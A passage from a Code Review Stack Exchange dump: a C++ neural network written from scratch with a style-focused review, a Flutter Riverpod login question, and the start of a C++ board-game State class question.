for (size_t WD = 0; WD < HIDLAYERS + 1; WD++)
{
if (WD == 0)
{
for (size_t WL = 0; WL < INNEURONS; WL++)
{
Inlayer.push_back(Inn);
Inlayer.back().weights.reserve(HIDNEURONS);
Inlayer.back().weightderivs.reserve(HIDNEURONS);
if (optimizerformula == 1) { Inlayer.back().emavals.reserve(HIDNEURONS); }
else if (optimizerformula == 3) { Inlayer.back().adamvals.reserve(HIDNEURONS); }
else;
for (size_t WK = 0; WK < HIDNEURONS; WK++)
{
double val = distribution(generator) * randdist(INNEURONS, HIDNEURONS);
Inlayer.back().weights.push_back(val);
Inlayer.back().weightderivs.push_back(0.0);
if (optimizerformula == 1){ Inlayer.back().emavals.push_back(0.0); }
else if (optimizerformula == 3){ Inlayer.back().adamvals.push_back(0.0); }
}
if (optimizerformula == 3)
{
Inlayer.back().SDB = 0.0;
Inlayer.back().VDB = 0.0;
Inlayer.back().SDW = 0.0;
Inlayer.back().VDW = 0.0;
}
}
}
else if (WD < HIDLAYERS && WD != 0)
{
Hidlayers.push_back(std::vector <HIDneuron>());
Hidlayers.back().reserve(HIDNEURONS);
for (size_t WL = 0; WL < HIDNEURONS; WL++)
{
Hidlayers.back().push_back(Hidn);
Hidlayers.back().back().weights.reserve(HIDNEURONS);
Hidlayers.back().back().weightderivs.reserve(HIDNEURONS);
if (optimizerformula == 1) { Hidlayers.back().back().emavals.reserve(HIDNEURONS); }
for (size_t WK = 0; WK < HIDNEURONS; WK++)
{
double val = distribution(generator) * randdist(HIDNEURONS, HIDNEURONS);
Hidlayers.back().back().weights.push_back(val);
Hidlayers.back().back().weightderivs.push_back(0.0);
if (optimizerformula == 1) { Hidlayers.back().back().emavals.push_back(0.0); }
else if (optimizerformula == 3) { Hidlayers.back().back().adamvals.push_back(0.0); }
//Hidlayers.back().back().adamvals.push_back(0.0);
}
Hidlayers.back().back().bias = 0.0;
Hidlayers.back().back().biasderiv = 0.0;
if (optimizerformula == 1) { Hidlayers.back().back().biasema = 0.0; }
else if (optimizerformula == 3) {
Hidlayers.back().back().biasadam = 0.0;
Hidlayers.back().back().VDB = 0.0;
Hidlayers.back().back().SDB = 0.0;
Hidlayers.back().back().SDW = 0.0;
Hidlayers.back().back().VDW = 0.0;
}
}
}
else if (WD == HIDLAYERS)
{
Hidlayers.push_back(std::vector <HIDneuron>());
Hidlayers.back().reserve(HIDNEURONS);
for (size_t WL = 0; WL < HIDNEURONS; WL++)
{
Hidlayers.back().push_back(Hidn);
Hidlayers.back().back().weights.reserve(OUTNEURONS);
Hidlayers.back().back().weightderivs.reserve(OUTNEURONS);
if (optimizerformula == 1) { Hidlayers.back().back().emavals.reserve(OUTNEURONS); }
for (size_t WK = 0; WK < OUTNEURONS; WK++)
{
double val = distribution(generator) * randdist(HIDNEURONS, OUTNEURONS);
Hidlayers.back().back().weights.push_back(val);
Hidlayers.back().back().weightderivs.push_back(0.0);
if (optimizerformula == 1) { Hidlayers.back().back().emavals.push_back(0.0); }
else if (optimizerformula == 3) { Hidlayers.back().back().adamvals.push_back(0.0); }
}
Hidlayers.back().back().bias = 0.0;
Hidlayers.back().back().biasderiv = 0.0;
if (optimizerformula == 1) { Hidlayers.back().back().biasema = 0.0; }
else if (optimizerformula == 3) {
Hidlayers.back().back().biasadam = 0.0;
Hidlayers.back().back().VDB = 0.0;
Hidlayers.back().back().SDB = 0.0;
Hidlayers.back().back().SDW = 0.0;
Hidlayers.back().back().VDW = 0.0;
}
}
}
}
for (size_t i = 0; i < OUTNEURONS; i++)
{
Outlayer.push_back(Outn);
Outlayer.back().bias = 0.0;
Outlayer.back().biasderiv = 0.0;
if (optimizerformula ==1)
Outlayer.back().biasema = 0.0;
else if (optimizerformula == 3)
{
Outlayer.back().SDB = 0.0;
Outlayer.back().VDB = 0.0;
}
}
}
bool Net::Feedforward(const std::vector <double>& invec)
{
bool success = 1;
for (size_t I = 0; I < Inlayer.size(); I++)
{
Inlayer[I].val = invec[I];
}
for (size_t h = 0; h < Hidlayers[0].size(); h++)
{
double preval = Hidlayers[0][h].bias;
for (size_t I = 0; I < Inlayer.size(); I++)
{
preval += Inlayer[I].val * Inlayer[I].weights[h];
}
Hidlayers[0][h].preactval = preval;
if (activationtype == 1)
{
Hidlayers[0][h].actval = Relu(preval);
}
else if (activationtype == 2)
{
Hidlayers[0][h].actval = tanh(preval);
}
if (isnan(Hidlayers[0][h].actval)) { std::cout << "isnan at Hidlayers[0][" << h << "].actval"; success = 0; }
else success = 1;
}
for (size_t H = 1; H < Hidlayers.size(); H++)
{
size_t prevh = H - 1;
for (size_t h = 0; h < Hidlayers[H].size(); h++)
{
double preval = Hidlayers[H][h].bias;
for (size_t p = 0; p < Hidlayers[prevh].size(); p++)
{
preval += Hidlayers[prevh][p].actval * Hidlayers[prevh][p].weights[h];
}
Hidlayers[H][h].preactval = preval;
if (activationtype == 1)
{
Hidlayers[H][h].actval = Relu(preval);
}
else if (activationtype == 2)
{
Hidlayers[H][h].actval = tanh(preval);
}
if (isnan(Hidlayers[H][h].actval)) { std::cout << "isnan at Hidlayers["<< H <<"][" << h << "].actval"; success = 0; }
else success = 1;
}
}
for (size_t O = 0; O < Outlayer.size(); O++)
{
size_t lhid = Hidlayers.size() - 1;
double preval = Outlayer[O].bias;
for (size_t h = 0; h < Hidlayers[lhid].size(); h++)
{
preval += Hidlayers[lhid][h].actval * Hidlayers[lhid][h].weights[O];
}
Outlayer[O].preactval = preval;
}
return success;
}
void Net::calcema(const size_t& Layernum, const size_t& neuron, const size_t& weight, const std::string& layer, const std::string& BorW)
{
static double Beta{ 0.9 };
if (BorW == "Weight")
{
if (layer == "Inlayer")
{
double tempval = (Beta * Inlayer[neuron].emavals[weight]) +((1.0 - Beta) * Inlayer[neuron].weightderivs[weight]);
Inlayer[neuron].emavals[weight] = tempval;
}
else if (layer == "Hidlayers")
{
double tempval = (Beta * Hidlayers[Layernum][neuron].emavals[weight]) +((1.0 - Beta) * Hidlayers[Layernum][neuron].weightderivs[weight]);
Hidlayers[Layernum][neuron].emavals[weight] = tempval;
}
}
else if (BorW == "Bias")
{
if (layer == "Hidlayers")
{
double tempval = (Beta * Hidlayers[Layernum][neuron].biasema) +((1.0 - Beta) * Hidlayers[Layernum][neuron].biasderiv);
Hidlayers[Layernum][neuron].biasema = tempval;
}
else if (layer == "Outlayer")
{
double tempval = (Beta * Outlayer[neuron].biasema) + ((1.0 - Beta) * Outlayer[neuron].biasderiv);
Outlayer[neuron].biasema = tempval;
}
}
}
void Net::Backprop(const std::vector <double>& targets)
{
for (size_t O = 0; O < Outlayer.size(); O++)
{
double PDval{};
PDval = targets[O] - Outlayer[O].actval;
PDval = PDval * -1.0;
Outlayer[O].preactvalPD = PDval;
}
for (size_t H = Hidlayers.size(); H > 0; H--)
{
size_t Top = H;
size_t Current = H - 1;
for (size_t h = 0; h < Hidlayers[Current].size(); h++)
{
double actPD{};
double PreactPD{};
double biasPD{};
for (size_t hw = 0; hw < Hidlayers[Current][h].weights.size(); hw++)
{
double PDval{};
if (H == Hidlayers.size())
{
PDval = Outlayer[hw].preactvalPD * Hidlayers[Current][h].actval;
biasPD = Outlayer[hw].preactvalPD;
if (descenttype == 2)
Outlayer[hw].biasderiv += biasPD;
else Outlayer[hw].biasderiv = biasPD;
actPD += Hidlayers[Current][h].weights[hw] * Outlayer[hw].preactvalPD;
if (optimizerformula == 1)
{
calcema(0, hw, 0, "Outlayer", "Bias");
}
else if (optimizerformula == 3)
{
calcadam(0, hw, 0, "Outlayer", "Bias");
}
}
else
{
PDval = Hidlayers[Top][h].preactvalPD * Hidlayers[Current][h].actval;
actPD += Hidlayers[Current][h].weights[hw] * Hidlayers[Top][h].preactvalPD;
}
if (descenttype == 2)
Hidlayers[Current][h].weightderivs[hw] += PDval;
else Hidlayers[Current][h].weightderivs[hw] = PDval;
if (optimizerformula == 1)
{
calcema(Current, h, hw, "Hidlayer", "Weight");
}
else if (optimizerformula == 3)
{
calcadam(Current, h, hw, "Hidlayer", "Weight");
}
}
if (H != Hidlayers.size())
{
biasPD = Hidlayers[Top][h].preactvalPD;
if (descenttype == 2)
Hidlayers[Top][h].biasderiv += biasPD;
else Hidlayers[Top][h].biasderiv = biasPD;
if(optimizerformula == 1)
{
calcema(Top, h, 0, "Hidlayer", "Bias");
}
else if (optimizerformula == 3)
{
calcadam(Top, h, 0, "Hidlayer", "Bias");
}
}
Hidlayers[Current][h].actvalPD = actPD;
if (activationtype == 1) {
PreactPD = Hidlayers[Current][h].actvalPD * Reluderiv(Hidlayers[Current][h].preactval);
}
else if (activationtype == 2)
{
PreactPD = Hidlayers[Current][h].actvalPD * tanhderiv(Hidlayers[Current][h].preactval);
}
Hidlayers[Current][h].preactvalPD = PreactPD;
actPD = 0;
}
}
for (size_t I = 0; I < Inlayer.size(); I++)
{
double PDval{};
for (size_t hw = 0; hw < Inlayer[I].weights.size(); hw++)
{
PDval = Hidlayers[0][hw].preactvalPD * Inlayer[I].val;
double biasPD = Hidlayers[0][hw].preactvalPD;
if (descenttype == 2)
{
Inlayer[I].weightderivs[hw] += PDval;
Hidlayers[0][hw].biasderiv += biasPD;
}
else
{
Inlayer[I].weightderivs[hw] = PDval;
Hidlayers[0][hw].biasderiv = biasPD;
}
if (optimizerformula == 1)
{
calcema(0, hw, 0, "Hidlayer", "Bias");
calcema(0, I, hw, "Inlayer", "Weight");
}
else if (optimizerformula == 3)
{
calcadam(0, hw, 0, "Hidlayer", "Bias");
calcadam(0, I, hw, "Inlayer", "Weight");
}
}
}
}
void Net::Updateweights()
{
for (size_t I = 0; I < Inlayer.size(); I++)
{
double PD{};
for (size_t iw = 0; iw < Inlayer[I].weights.size(); iw++)
{
if (optimizerformula == 2)
{
PD = (Inlayer[I].weightderivs[iw] * -1.0) - (Lambda * regularize(Inlayer[I].weights[iw]));
Inlayer[I].weights[iw] = Inlayer[I].weights[iw] + (Alpha * PD);
}
else if (optimizerformula == 1)
{
PD = ((Inlayer[I].weightderivs[iw] + (0.9 * Inlayer[I].emavals[iw])) * -1.0) - (Lambda * regularize(Inlayer[I].weights[iw]));
Inlayer[I].weights[iw] = Inlayer[I].weights[iw] + (Alpha * PD);
}
else if (optimizerformula == 3)
{
PD = ((Inlayer[I].weightderivs[iw] + (0.9 * Inlayer[I].adamvals[iw])) * -1.0); //- (Lambda * regularize(Inlayer[I].weights[iw]));
Inlayer[I].weights[iw] = Inlayer[I].weights[iw] + (Alpha * PD);
}
else std::cout << "no optimizer formula chosen" << '\n';
if (descenttype == 2) Inlayer[I].weightderivs[iw] = 0.0;
}
}
for (size_t H = 0; H < Hidlayers.size(); H++)
{
for (size_t h = 0; h < Hidlayers[H].size(); h++)
{
double PD{};
for (size_t hw = 0; hw < Hidlayers[H][h].weights.size(); hw++)
{
if (optimizerformula == 2)
{
PD = (Hidlayers[H][h].weightderivs[hw] * -1.0) - (Lambda * regularize(Hidlayers[H][h].weights[hw]));
Hidlayers[H][h].weights[hw] = Hidlayers[H][h].weights[hw] + (Alpha * PD);
}
else if (optimizerformula == 1)
{
PD = ((Hidlayers[H][h].weightderivs[hw] + (0.9 * Hidlayers[H][h].emavals[hw])) * -1.0) - (Lambda * regularize(Hidlayers[H][h].weights[hw]));
Hidlayers[H][h].weights[hw] = Hidlayers[H][h].weights[hw] + (Alpha * PD);
}
else if (optimizerformula == 3)
{
PD = ((Hidlayers[H][h].weightderivs[hw] + (0.9 * Hidlayers[H][h].adamvals[hw])) * -1.0);// - (Lambda * regularize(Hidlayers[H][h].weights[hw]));
Hidlayers[H][h].weights[hw] = Hidlayers[H][h].weights[hw] + (Alpha * PD);
}
else std::cout << "no optimizer formula chosen" << '\n';
if (descenttype == 2) Hidlayers[H][h].weightderivs[hw] = 0.0;
}
if (optimizerformula == 1)
{
PD = ((Hidlayers[H][h].biasderiv + (0.9 * Hidlayers[H][h].biasema)) * -1.0);
Hidlayers[H][h].bias = Hidlayers[H][h].bias + (Alpha * PD);
}
else if (optimizerformula == 2)
{
PD = Hidlayers[H][h].biasderiv * -1.0;
Hidlayers[H][h].bias = Hidlayers[H][h].bias + (Alpha * PD);
}
else if (optimizerformula == 3)
{
PD = ((Hidlayers[H][h].biasderiv + (0.9 * Hidlayers[H][h].biasadam)) * -1.0);
Hidlayers[H][h].bias = Hidlayers[H][h].bias + (Alpha * PD);
}
else std::cout << "no optimizer formula chosen" << '\n';
if (descenttype == 2)Hidlayers[H][h].biasderiv = 0;
}
}
for (size_t biases = 0; biases < Outlayer.size(); biases++)
{
if (optimizerformula == 2)
{
double PD = Outlayer[biases].biasderiv * -1.0;
Outlayer[biases].bias = Outlayer[biases].bias + (Alpha * PD);
}
else if (optimizerformula == 1)
{
double PD = ((Outlayer[biases].biasderiv + (0.9 * Outlayer[biases].biasema)) * -1.0);
Outlayer[biases].bias = Outlayer[biases].bias + (Alpha * PD);
}
else if (optimizerformula == 3)
{
double PD = ((Outlayer[biases].biasderiv + (0.9* Outlayer[biases].biasadam)) * -1.0);
Outlayer[biases].bias = Outlayer[biases].bias + (Alpha * PD);
}
else std::cout << "no optimizer formula chosen" << '\n';
if (descenttype == 2)Outlayer[biases].biasderiv = 0.0;
}
}
void Net::printvalues(double totalloss)
{
for (size_t Res = 0; Res < Outlayer.size(); Res++)
{
std::cout << Outlayer[Res].actval << " / ";
}
std::cout << '\n' << "loss = " << totalloss << '\n';
}
double Net::lossfunc(const std::vector <double>& target)
{
int pos{ -1 };
double val{};
for (size_t t = 0; t < target.size(); t++)
{
pos += 1;
if (target[t] > 0)
{
break;
}
}
val = -log(Outlayer[pos].actval);
return val;
}
void Net::calcadam(const size_t& Layernum, const size_t& neuron, const size_t& weight, const std::string& layer, const std::string& BorW)
{
static const double beta1{0.9};
static const double beta2{0.999};
static const double epsilon{0.000000001};
if (layer == "Inlayer")
{
double Vdw = (beta1 * Inlayer[neuron].VDW) + ((1.0 - beta1) * Inlayer[neuron].weightderivs[weight]);
double Sdw = (beta2 * Inlayer[neuron].SDW) + ((1.0 - beta2) * (Inlayer[neuron].weightderivs[weight] * Inlayer[neuron].weightderivs[weight]));
double VdwC = Vdw / (1.0 - pow(beta1, iter)); //iter value needs attention, cant have pow(beta1, 10000)
double SdwC = Sdw / (1.0 - pow(beta2, iter));
Inlayer[neuron].VDW = VdwC;
Inlayer[neuron].SDW = SdwC;
double resW = (VdwC / (sqrt(SdwC) + epsilon));
Inlayer[neuron].adamvals[weight] = resW;
}
else if (layer == "Hidlayers")
{
if (BorW == "Weight")
{
double Vdw = (beta1 * Hidlayers[Layernum][neuron].VDW) + ((1.0 - beta1) * Hidlayers[Layernum][neuron].weightderivs[weight]); //momentum
double Sdw = (beta2 * Hidlayers[Layernum][neuron].SDW) + ((1.0 - beta2) * (Hidlayers[Layernum][neuron].weightderivs[weight] * Hidlayers[Layernum][neuron].weightderivs[weight])); // rmsprop
double VdwC = Vdw / (1 - pow(beta1, iter)); //corrected
double SdwC = Sdw / (1 - pow(beta2, iter));
Hidlayers[Layernum][neuron].VDW = VdwC;
Hidlayers[Layernum][neuron].SDW = SdwC;
double resW = (VdwC / (sqrt(SdwC) + epsilon));
Hidlayers[Layernum][neuron].adamvals[weight] = resW;
}
else if (BorW == "Bias")
{
double Vdb = (beta1 * Hidlayers[Layernum][neuron].VDB) + ((1.0 - beta1) * Hidlayers[Layernum][neuron].biasderiv);
double Sdb = (beta2 * Hidlayers[Layernum][neuron].SDB) + ((1.0 - beta2) * (Hidlayers[Layernum][neuron].biasderiv * Hidlayers[Layernum][neuron].biasderiv));
double SdbC = Sdb / (1 - pow(beta2, iter));
double VdbC = Vdb / (1 - pow(beta1, iter));
Hidlayers[Layernum][neuron].VDB = VdbC;
Hidlayers[Layernum][neuron].SDB = SdbC;
double resB = (VdbC / (sqrt(SdbC) + epsilon));
Hidlayers[Layernum][neuron].biasadam = resB;
}
}
else if (layer == "Outlayer")
{
double Vdb = (beta1 * Outlayer[neuron].VDB) + ((1.0 - beta1) * Outlayer[neuron].biasderiv);
double Sdb = (beta2 * Outlayer[neuron].SDB) + ((1.0 - beta2) * (Outlayer[neuron].biasderiv * Outlayer[neuron].biasderiv));
double SdbC = Sdb / (1 - pow(beta2, iter));
double VdbC = Vdb / (1 - pow(beta1, iter));
Outlayer[neuron].VDB = VdbC;
Outlayer[neuron].SDB = SdbC;
double resB = (VdbC / (sqrt(SdbC) + epsilon));
Outlayer[neuron].biasadam = resB;
}
}
int main()
{
double arrAlpha[100];
double arrLambda[100];
for (int i = 0; i < 100; i++)
{
arrAlpha[i] = randomd(0.00000, 0.1)/10.0;
arrLambda[i] = randomd(0.00000, 0.09)/10.0;
}
std::vector <double> innums{};
std::vector <double> outnums{};
std::vector <std::string> INstrings{};
std::vector <std::string> OUTstrings{};
std::string nums{};
std::string in{};
std::string out{};
std::string allin{};
double totalloss{};
double loss{};
double single{};
double batchcount{ 0.0 };
double alphaval{};
double lambdaval{};
std::ifstream file("N.txt");
while (file.is_open())
{
while (file >> nums)
{
if (nums == "in:")
{
std::getline(file, in);
allin += in;
}
else if (nums == "out:")
{
std::getline(file, out);
OUTstrings.push_back(out);
INstrings.push_back(allin);
allin.clear();
}
else;
}
break;
}
for (int i = 0; i < 100; i++)
{
alphaval = arrAlpha[i];
lambdaval = arrLambda[i];
Net net(0, 1, 4, 3, 4, lambdaval, alphaval); //dimensions / hiddenlayers / hiddenneurons / outneurons / inneurons
net.defineoptimizer("Adam");
net.defineregularizer("L1");
net.defineactivation("Relu");
net.definedescenttype("MiniBatch");
net.Initweights();
for (int epoch = 0; epoch < 50000; epoch++)
{
net.iter += 1;
int random = randomt(0, 97); // 1300 samples
std::cout << "fetching" << '\n';
std::stringstream in(INstrings[random]);
std::stringstream out(OUTstrings[random]);
while (in >> single)
{
innums.push_back(single);
}
while (out >> single)
{
outnums.push_back(single);
}
std::cout << "epoch " << epoch << '\n';
std::cout << '\n' << "targets: " << '\n';
for (auto element : outnums) std::cout << element << " / ";
std::cout << '\n';
batchcount += 1.0;
if (!net.Feedforward(innums)) { innums.clear(); outnums.clear(); break; }
else;
net.softmax();
loss += net.lossfunc(outnums);
totalloss = loss / batchcount;
net.printvalues(totalloss);
net.Backprop(outnums);
if (net.descenttype = 2)
{
if (net.iter == 124)
{
net.Updateweights();
net.iter = 0;
}
else;
}
else net.Updateweights();
innums.clear();
outnums.clear();
}
std::ofstream outfiles{ "resultsoverall.txt", std::ios::app };
while (outfiles.is_open())
{
outfiles << "alphaval: " << alphaval << " / lambdaval: " << lambdaval << "| Loss = " << totalloss << '\n';
outfiles << "iterations: " << batchcount << '\n';
break;
}
totalloss = 0.0; loss = 0.0; batchcount = 0.0;
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T12:13:55.383",
"Id": "503823",
"Score": "0",
"body": "I made an edit, though I'm not entirely sure if it fixes it. I read through the link but I'm super unsure."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:25:56.170",
"Id": "503827",
"Score": "1",
"body": "Title looks much better now - thanks for editing!"
}
] |
[
{
"body": "<p>This review is gonna be geared more towards code style, rather than the algorithm since I don't remember much about neural networks.</p>\n<h2>Mark <code>Relu</code> and <code>Reluderiv</code> as <code>constexpr</code></h2>\n<p>Mark those two functions are constexpr so that the compiler can evaluate the result at compile time, if possible. Unfortunately, I don't think <code>tanh</code> and <code>sqrt</code> are constexpr functions, so you can't mark those functions are <code>constexpr</code>.</p>\n<h2>Pass <code>double</code> by value</h2>\n<p>You don't need to pass <code>double</code> by reference, since <code>double</code> can easily fit inside a CPU register. In fact, it might even be slower, since it might involve a memory read (if the compiler hadn't optimized it)</p>\n<h2>Don't recreate <code>std::random_device</code> every time</h2>\n<p>Your <code>randomt</code> and <code>randomd</code> function recreates <code>std::random_device</code> every time it's called, which can degrade performance. <code>std::random_device</code> is implementation defined. For example, it might be a thin wrapper over <code>fopen("/dev/urandom")</code> which might block, or might be a call to some crypto API (in case of Windows, IIRC). Better to create it just once, and utilize in multiple times.</p>\n<p>You can either declare it in a namespace</p>\n<pre><code>namespace my_random\n{\n std::random_device rd;\n}\n\nint randomt(int x, int y)\n{\n std::mt19937 gen(my_random::rd());\n ...\n}\n</code></pre>\n<p>and use it like that, or alternatively you can declare it <code>static</code>.</p>\n<pre><code>int randomt(int x, int y)\n{\n static std::random_device rd;\n ...\n}\n</code></pre>\n<h2>Use <code>std::uniform_int_distribution</code></h2>\n<p>You should use <code>std::uniform_int_distribution</code> instead of using <code>std::uniform_real_distribution</code> and rounding the value.</p>\n<h2>Use struct instead of class</h2>\n<p>Your <code>INneuron</code>, <code>HIDneuron</code>, <code>OUTneuron</code> class contains only public data members. You should prefer using a <code>struct</code> in this case. Makes no difference to the compiler, but makes your intention clearer to other people looking at your code. A widely accepted convention is that structs should just be containers for data, while classes should be used to implement OOP.</p>\n<h2>Use inheritance</h2>\n<p>Notice that you're repeating a lot of data members in your classes. This might be a good opportunity to utilize inheritance. How you might wanna structure your data, I'll leave to you.</p>\n<h2>Better naming convention</h2>\n<p><code>defineoptimizers</code>, <code>definedescenttype</code>, etc. are can be made more readable; something like <code>define_optimizers</code> or <code>defineDescentType</code>.</p>\n<h2>Consistent naming conventions</h2>\n<p>The naming of data members and methods is all over the place. <code>optimizerformula</code> vs. <code>NETDIMENSIONS</code> vs. <code>Alpha</code>. Pick one and stick with it.</p>\n<h2>Use <code>std::string_view</code> instead of <code>const std::string&</code></h2>\n<p>C++17 provides you with <code>std::string_view</code> which is a read only string, and is generally preferred nowadays instead of <code>const std::string&</code>.</p>\n<h2>Prefer using enum class</h2>\n<p>For cases where might have a fixed set of options, prefer using <code>enum class</code> over <code>std::string</code>. So, for descent type, you might define it like this:</p>\n<pre><code>enum class DescentType\n{\n SGD,\n MiniBatch\n};\n</code></pre>\n<p>Then instead of doing <code>descenttype = 1</code> or <code>descenttype = 2</code>, you could do <code>descenttype = DescentType::SGD</code>.</p>\n<h2>Be consistent in your logic</h2>\n<p>The <code>defineoptimizer</code> and <code>defineactivation</code> abort when no matching value is found, but <code>defineregularizer</code> and <code>definedescenttype</code> just choose a default value and continue working. In fact, they're not even doing that, because the default value would be 0 and you don't have an option when they are set to 0.</p>\n<h2>You don't need to create a generator in the Initweights method</h2>\n<p>You have already created a function that would give you a random double. So why are you creating a random engine and distribution again, and why are you seeding using the time? Just use the function again.</p>\n<h2>Use whitespace</h2>\n<p>Whitespace is your friend! Use it liberally, it makes your code much more readable.</p>\n<h2>Cleaner code</h2>\n<p>Your Initweights method is littered with <code>back()</code> calls, which is quite frankly, ugly. Either construct the object fully and <code>push_back</code> or get the object using reference.</p>\n<pre><code>InLayer.push_back(Inn);\nauto& vec = InLayer.back();\n...\n</code></pre>\n<p>Although, you should prefer the former, rather than the latter.</p>\n<p>Also, you <code>Inn</code> member is just a default constructed object of INneuron that you're using the push_back into InLayer. Why not just do <code>InLayers.push_back(INneuron{})</code> or better yet, <code>InLayers.emplace_back()</code>. You could save quite a bit of memory by removing <code>Inn</code>.</p>\n<p>The <code>else</code> is not doing anything, so you could remove it.</p>\n<h2>You <code>true</code> or <code>false</code> with <code>bool</code></h2>\n<p>Your feedforward method assigns a 1 to <code>success</code> which is a bool. Might be legal C++, but why not just use <code>true</code>?</p>\n<h2>Pass <code>size_t</code> by value</h2>\n<p>Again, better to pass such small objects by value.</p>\n<h2>You <code>constexpr</code> instead of <code>const</code> for constants</h2>\n<p>You should use <code>constexpr</code> instead of <code>const</code> in <code>calcadam</code> for the constants, which is more C++-ish way to define constants.</p>\n<h2>Your <code>main</code> is doing too much</h2>\n<p>Split your <code>main</code> into separate functions. For example, there could be just a single function to read the input file and parse the data, and return a struct containing said that. There could also be another function to write to the output file. There could also be another function to actually run the program (the big loop inside main).</p>\n<h2>while(file.is_open())...break;</h2>\n<p>This is just a weird way to check if opening a file is successful. You can simply do</p>\n<pre><code>std::ifstream file("N.txt")\nif(!file)\n{\n std::cout << "Cannot open file!\\n";\n // handle error\n}\n\n// continue with normal program execution\n</code></pre>\n<h2>Use better names</h2>\n<p>Use much more descriptive names that you are right now. It's okay to write more if it means that the person who will be reading it will have an easier time.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T04:32:30.623",
"Id": "503897",
"Score": "0",
"body": "this is awesome! thanks so much! so much info, so much knowledge! Much appreciated! I used the specific random generator in initweights to specify a mean and variance, and was told the seed should be consistent throughout the weight initialisation, I wasnt entirely sure what that meant but I figured it meant that I should define the generator locally so it uses the same seed everytime. but after your review i see how its probably unnecessary. Much appreciated!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T00:38:23.030",
"Id": "255399",
"ParentId": "255358",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255399",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T08:06:18.150",
"Id": "255358",
"Score": "4",
"Tags": [
"c++",
"neural-network"
],
"Title": "Working Neural Net from scratch"
}
|
255358
|
<p>I'm trying to use riverpod for login with a Laravel backend. Right now I'm just returning <code>True</code> or <code>False</code> from the repository. I've set a form that accepts email and password. The <code>isLoading</code> variable is just to show a circle indicator. I've run the code and it works but not sure if I'm using riverpod correctly.</p>
<p>Is there a better way to do it?</p>
<p><strong>auth_provider.dart</strong></p>
<pre><code>class Auth{
final bool isLogin;
Auth(this.isLogin);
}
class AuthNotifier extends StateNotifier<Auth>{
AuthNotifier() : super(Auth(false));
void isLogin(bool data){
state = new Auth(data);
}
}
final authProvider = StateNotifierProvider((ref) => new AuthNotifier());
</code></pre>
<p><strong>auth_repository.dart</strong></p>
<pre><code>class AuthRepository{
static String url = "http://10.0.2.2:8000/api/";
final Dio _dio = Dio();
Future<bool> login(data) async {
try {
Response response = await _dio.post(url+'sanctum/token',data:json.encode(data));
return true;
} catch (error) {
return false;
}
}
}
</code></pre>
<p><strong>login_screen.dart</strong></p>
<pre><code>void login() async{
if(formKey.currentState.validate()){
setState((){this.isLoading = true;});
var data = {
'email':this.email,
'password':this.password,
'device_name':'mobile_phone'
};
var result = await AuthRepository().login(data);
if(result){
context.read(authProvider).isLogin(true);
setState((){this.isLoading = false;});
}else
setState((){this.isLoading = false;});
}
}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T08:06:51.123",
"Id": "255359",
"Score": "0",
"Tags": [
"dart",
"flutter"
],
"Title": "Flutter API login using riverpod"
}
|
255359
|
<p>I'm trying to build a board game and solve it using algorithms such as Monte Carlo Tree Search in C++. My current design follows <a href="https://github.com/aimacode/aima-python" rel="nofollow noreferrer">this python project</a>, in which I have a class hierarchy for <code>Board</code> and a <code>State</code> template as follows</p>
<pre class="lang-cpp prettyprint-override"><code>// board.hpp
#ifndef GAME_BOARD_H_
#define GAME_BOARD_H_
#include <vector>
#include <unordered_set>
#include <string>
#include <utility>
#include "basics.hpp"
namespace game {
class Board {
public:
using type = std::vector<std::vector<Piece>>;
explicit Board(int);
Board(const Board&);
Board(Board&&);
Board& operator=(const Board&);
Board& operator=(Board&&);
virtual ~Board() {}
virtual void display() const = 0;
/* Queries */
bool is_on_board(Point p) const { return is_on_board(p.first, p.second); }
bool is_valid(Point p) const { return is_valid(p.first, p.second); }
/* Access */
std::unordered_set<Point, PointHash> get_valid_moves();
Piece get_piece(Point p) const { return get_piece(p.first, p.second); }
int get_board_size() const { return n; }
/* Modifiers */
bool reset(Point);
bool move(Point, Piece);
protected:
bool is_on_board(int i, int j) const { return i >= 0 && i < n && j >= 0 && j < n; }
virtual bool is_valid(int i, int j) const = 0;
const type& get_board() const { return board; }
Piece get_piece(int i, int j) const { return board[i][j]; }
private:
int n;
type board;
};
}
#endif
</code></pre>
<pre class="lang-cpp prettyprint-override"><code>// state.hpp
#ifndef GAME_STATE_H_
#define GAME_STATE_H_
#include <vector>
#include <memory>
#include <unordered_set>
#include "basics.hpp"
namespace game {
template<typename Board>
class State {
public:
State(Board={}, Piece=Piece::White, int u=0);
State(const State&);
State(State&&);
State& operator=(const State&);
State& operator=(State&&);
~State() {}
void display() const { board.display(); }
bool is_over() const;
/* Modifiers */
bool update_board(Point, Piece);
void update_utility(int);
/* Access */
int get_utility() const { return utility; }
// get utility for piece p
int get_utility(Piece p) const { return p == curr_piece? utility: -utility; }
Piece to_move() const { return next_piece(curr_piece); }
const Board& get_board() const { return board; }
std::unordered_set<Point, PointHash> get_valid_moves() { return valid_moves; }
private:
Piece curr_piece;
Board board;
int utility;
Point curr_move;
std::unordered_set<Point, PointHash> valid_moves;
};
}
template<typename Board>
game::State<Board>::State(Board b, Piece p, int u):
board(b), curr_piece(p), utility(u) {
valid_moves = board.get_valid_moves();
}
template<typename Board>
game::State<Board>::State(const State& rhs):
curr_piece(rhs.curr_piece),
board(rhs.board),
utility(rhs.utility),
curr_move(rhs.curr_move) {
}
template<typename Board>
game::State<Board>::State(State&& rhs):
curr_piece(rhs.curr_piece),
board(std::move(rhs.board)),
utility(rhs.utility),
curr_move(rhs.curr_move) {
}
template<typename Board>
game::State<Board>& game::State<Board>::operator=(const State& rhs) {
if (this != &rhs) {
auto tmp = rhs;
swap(*this, tmp);
}
return *this;
}
template<typename Board>
game::State<Board>& game::State<Board>::operator=(State&& rhs) {
if (this != &rhs) {
curr_piece = rhs.curr_piece;
swap(board, rhs.board);
utility = rhs.utility;
curr_move = rhs.curr_move;
}
return *this;
}
template<typename Board>
bool game::State<Board>::update_board(Point point, Piece piece) {
curr_piece = piece;
curr_move = point;
auto succ = board.move(point, piece);
